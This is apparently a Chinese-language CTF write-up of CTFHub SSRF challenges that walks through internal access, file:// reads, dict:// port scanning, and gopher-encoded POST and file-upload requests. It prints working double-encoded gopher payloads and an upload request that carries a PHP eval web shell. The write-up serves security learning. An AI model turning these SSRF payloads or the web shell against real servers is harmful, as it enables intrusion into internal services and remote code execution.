SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】

写在前面

ssrf无论是生活中还是比赛中都是一种非常常见的漏洞。但一般来说单独考察的较少。后面将从ctfhub和其他平台上来慢慢练习。

SSRF(Server-Side Request Forgery:服务器端请求伪造) 是一种由攻击者构造形成由服务端发起请求的一个安全漏洞。一般情况下,SSRF攻击的目标是从外网无法访问的内部系统。(正是因为它是由服务端发起的,所以它能够请求到与它相连而与外网隔离的内部系统)

SSRF 形成的原因大都是由于服务端提供了从其他服务器应用获取数据的功能且没有对目标地址做过滤与限制。比如从指定URL地址获取网页文本内容,加载指定地址的图片,下载等等。利用的是服务端的请求伪造。ssrf是利用存在缺陷的web应用作为代理攻击远程和本地的服务器

简单理解就是可以从某些地方让目标服务器发起请求(url参数上较为常见),我们利用目标服务器的请求权限来请求内网内容来达到攻击的目的。

内网访问

SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第1张图片在这里插入图片描述
url能够请求内容,而此处没有进行过滤和内外网分割,可以直接进行请求。

伪协议读取

SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第2张图片
在这里插入图片描述
查看源代码:
在这里插入图片描述
首先伪协议有相当多,学习链接:https://www.cnblogs.com/-mo-/p/11673190.html
一般都会尝试一下。
file伪协议几乎是ssrf中最常用的伪协议,我们可以尝试从服务器端任意读取文件。这里我使用的就是非常常见的网站文件路径。

端口扫描

SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第3张图片
首先构造为:

?url=dict://127.0.0.1:8000/

然后我们用bp中的爆破模块就可以了
先用dict伪协议扫描,然后再访问。
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第4张图片
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第5张图片
扫到长度有明显差异的端口,查看一下:
在这里插入图片描述
找到flag

POST

我们这里先继续使用file协议来看index.php
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第6张图片

得到源码


<?php

error_reporting(0);

if (!isset($_REQUEST['url'])){
    header("Location: /?url=_");
    exit;
}

$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_REQUEST['url']);
curl_setopt($ch, CURLOPT_HEADER, 0);
curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
curl_exec($ch);
curl_close($ch);

大概就是你用url参数传递参数进来。然后curl_exec()一下。
这里要注意的是curl是支持gopher协议的,所以这也是curl_exec()容易出现漏洞的地方
差不多index.php到这里,毕竟还没发现点来进行curl操作。

继续利用file协议查看flag.php
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第7张图片
源码如下:


<?php

error_reporting(0);

if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") {
    echo "Just View From 127.0.0.1";
    return;
}

$flag=getenv("CTFHUB");
$key = md5($flag);

if (isset($_POST["key"]) && $_POST["key"] == $key) {
    echo $flag;
    exit;
}
?>

<form action="/flag.php" method="post">
<input type="text" name="key">
<!-- Debug: key=<?php echo $key;?>-->
</form>

这里大概意思就是需要你post特定的参数,就给你返回flag.
但是这里getenv(),是需要我们获取环境变量。

前面的提示告诉我们 Just View From 127.0.0.1

这就和第一题非常像了。进去看看
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第8张图片
找到key了。把key放到之前的post界面。
问题就在这里,虽然我们可以完成要求了,但是必须要在flag.php中进行这个post请求。一旦我们直接进入flag.php,就会提示从127.0.0.1访问(从服务器端发起请求)。也就是说,flag.php只能看不能摸。

这里就是gopher出场的时候了。

引用:

curl:

cURL是一个利用URL语法在命令行下工作的文件传输工具。它支持文件上传和下载,所以是综合传输工具。cURL还包含了用于程序开发的libcurl。

cURL支持的通信协议有:FTP、FTPS、HTTP、HTTPS、Gopher、SCP、Telnet、DICT、FILE、LDAP、LDAPS、IMAP、POP3、SMTP和RTSP。curl还支持SSL认证、HTTP POST、HTTP PUT、FTP。

curl protocol://address:port/url?args

gopher:

gopher协议
gopher协议支持发出GET、POST请求:可以先拦截get请求包和post请求包,再构造成符合gopher协议的请求。gopher协议是ssrf利用中一个最强大的协议(俗称万能协议)。

可以攻击内网的 FTP、Telnet、Redis、Memcache,也可以进行 GET、POST 请求,还可以攻击内网未授权MySQL。

gopher://IP:port/_{TCP/IP数据流}

由于curl支持gopher协议,所以这里是利用curl进行进行post请求,完成内网攻击。

同时,在gopher协议中发送HTTP的数据,需要以下三步:

1、构造HTTP数据包
2、URL编码、替换回车换行为%0d%0a
3、发送gopher协议

在转换为URL编码时候有这么几个坑

1、问号(?)需要转码为URL编码,也就是%3f
2、回车换行要变为%0d%0a,但如果直接用工具转,可能只会有%0a
3、在HTTP包的最后要加%0d%0a,代表消息结束(具体可研究HTTP包结束)

起码你必须包含以下要素

POST /flag.php HTTP/1.1
Host: 127.0.0.1:80
Content-Type: application/x-www-form-urlencoded
Content-Length: 36
key=1e91e9e5b8b3cfe84f5442b9739553c6

加上gopher:// 协议格式 带上127.0.0.1
这就是第一次url编码后的值

gopher://127.0.0.1:80/_POST%20/flag.php%20HTTP/1.1%0d%0AHost:127.0.0.1%0d%0AContent-Type:application/x-www-form-urlencoded%0d%0AContent-Length:36%0d%0A%0d%0Akey=60a3e1206aa3977131856f0d5998415b%0d%0a

还需要二次url编码,才能成功,所以最后payload:

http://challenge-c0a79d084d9e8982.sandbox.ctfhub.com:10800/?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250d%250AHost:127.0.0.1%250d%250AContent-Type:application/x-www-form-urlencoded%250d%250AContent-Length:36%250d%250A%250d%250Akey=733d24bcdddf8c22e12921b95b76b2c9%250d%250a

注意以上key值,url 需替换成自己的。
在这里插入图片描述

解释几个可能存在的疑问:

1.为什么这里并没有使用curl,直接从网页上发起请求就可以了?

因为index.php本身就有curl_exec(),在截取url之后的参数后本来就能够完成操作了。

2.burp suite修改参数直接post行不行?

不行,虽然能够更改包参数,但是我们无法做到从服务器发起请求

3.为什么需要两次编码?

这是因为在浏览器的地址栏进行get传参时,浏览器会自动进行一次UrlDecode()的解码。但是这里curl就需要url编码的东西,所以需要编两次

上传文件

同理,找到flag.php位置:
在这里插入图片描述
同样也是post的形式,相信你已经明白,多半也是gopher来解决这个问题。
这里有个小问题,就是只有选择文件的地方,没有提交的地方。你需要自己画一个
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第9张图片
像右侧高亮处操作就行,然后经典的上传马并且bp抓包:
SSRF - ctfhub - 1【内网访问、伪协议读取、端口扫描、POST详解、上传文件】_第10张图片
和前面一样,首先url编码,并且%0a转%0d%0a

POST%20%2Fflag.php%20HTTP%2F1.1%0D%0AHost%3A%20127.0.0.1%3A80%0D%0AContent-Length%3A%20322%0D%0ACache-Control%3A%20max-age%3D0%0D%0AUpgrade-Insecure-Requests%3A%201%0D%0AOrigin%3A%20http%3A%2F%2Fchallenge-97d26d5159f3974d.sandbox.ctfhub.com%3A10800%0D%0AContent-Type%3A%20multipart%2Fform-data%3B%20boundary%3D----WebKitFormBoundary9DAVEbJFe1mgOuPv%0D%0AUser-Agent%3A%20Mozilla%2F5.0%20(Windows%20NT%2010.0%3B%20Win64%3B%20x64)%20AppleWebKit%2F537.36%20(KHTML%2C%20like%20Gecko)%20Chrome%2F90.0.4430.212%20Safari%2F537.36%0D%0AAccept%3A%20text%2Fhtml%2Capplication%2Fxhtml%2Bxml%2Capplication%2Fxml%3Bq%3D0.9%2Cimage%2Favif%2Cimage%2Fwebp%2Cimage%2Fapng%2C*%2F*%3Bq%3D0.8%2Capplication%2Fsigned-exchange%3Bv%3Db3%3Bq%3D0.9%0D%0AReferer%3A%20http%3A%2F%2Fchallenge-97d26d5159f3974d.sandbox.ctfhub.com%3A10800%2F%3Furl%3D127.0.0.1%2Fflag.php%0D%0AAccept-Encoding%3A%20gzip%2C%20deflate%0D%0AAccept-Language%3A%20zh-CN%2Czh%3Bq%3D0.9%0D%0AConnection%3A%20close%0D%0A%0D%0A------WebKitFormBoundary9DAVEbJFe1mgOuPv%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22file%22%3B%20filename%3D%2211.php%22%0D%0AContent-Type%3A%20application%2Foctet-stream%0D%0A%0D%0A%3C%3Fphp%20%40eval(%24_POST%5B'bin'%5D)%3B%3F%3E%0D%0A------WebKitFormBoundary9DAVEbJFe1mgOuPv%0D%0AContent-Disposition%3A%20form-data%3B%20name%3D%22submit%22%0D%0A%0D%0A%E6%8F%90%E4%BA%A4%0D%0A------WebKitFormBoundary9DAVEbJFe1mgOuPv--

再二次编码:

POST%2520%252Fflag.php%2520HTTP%252F1.1%250D%250AHost%253A%2520127.0.0.1%253A80%250D%250AContent-Length%253A%2520322%250D%250ACache-Control%253A%2520max-age%253D0%250D%250AUpgrade-Insecure-Requests%253A%25201%250D%250AOrigin%253A%2520http%253A%252F%252Fchallenge-97d26d5159f3974d.sandbox.ctfhub.com%253A10800%250D%250AContent-Type%253A%2520multipart%252Fform-data%253B%2520boundary%253D----WebKitFormBoundary9DAVEbJFe1mgOuPv%250D%250AUser-Agent%253A%2520Mozilla%252F5.0%2520(Windows%2520NT%252010.0%253B%2520Win64%253B%2520x64)%2520AppleWebKit%252F537.36%2520(KHTML%252C%2520like%2520Gecko)%2520Chrome%252F90.0.4430.212%2520Safari%252F537.36%250D%250AAccept%253A%2520text%252Fhtml%252Capplication%252Fxhtml%252Bxml%252Capplication%252Fxml%253Bq%253D0.9%252Cimage%252Favif%252Cimage%252Fwebp%252Cimage%252Fapng%252C*%252F*%253Bq%253D0.8%252Capplication%252Fsigned-exchange%253Bv%253Db3%253Bq%253D0.9%250D%250AReferer%253A%2520http%253A%252F%252Fchallenge-97d26d5159f3974d.sandbox.ctfhub.com%253A10800%252F%253Furl%253D127.0.0.1%252Fflag.php%250D%250AAccept-Encoding%253A%2520gzip%252C%2520deflate%250D%250AAccept-Language%253A%2520zh-CN%252Czh%253Bq%253D0.9%250D%250AConnection%253A%2520close%250D%250A%250D%250A------WebKitFormBoundary9DAVEbJFe1mgOuPv%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522file%2522%253B%2520filename%253D%252211.php%2522%250D%250AContent-Type%253A%2520application%252Foctet-stream%250D%250A%250D%250A%253C%253Fphp%2520%2540eval(%2524_POST%255B'bin'%255D)%253B%253F%253E%250D%250A------WebKitFormBoundary9DAVEbJFe1mgOuPv%250D%250AContent-Disposition%253A%2520form-data%253B%2520name%253D%2522submit%2522%250D%250A%250D%250A%25E6%258F%2590%25E4%25BA%25A4%250D%250A------WebKitFormBoundary9DAVEbJFe1mgOuPv--

url编码网站推荐:https://www.bejson.com/enc/urlencode/

最后加上gopher://127.0.0.1:80/_

最好将包中的host也改成127.0.0.1

找到flag
在这里插入图片描述

你可能感兴趣的:(网络安全)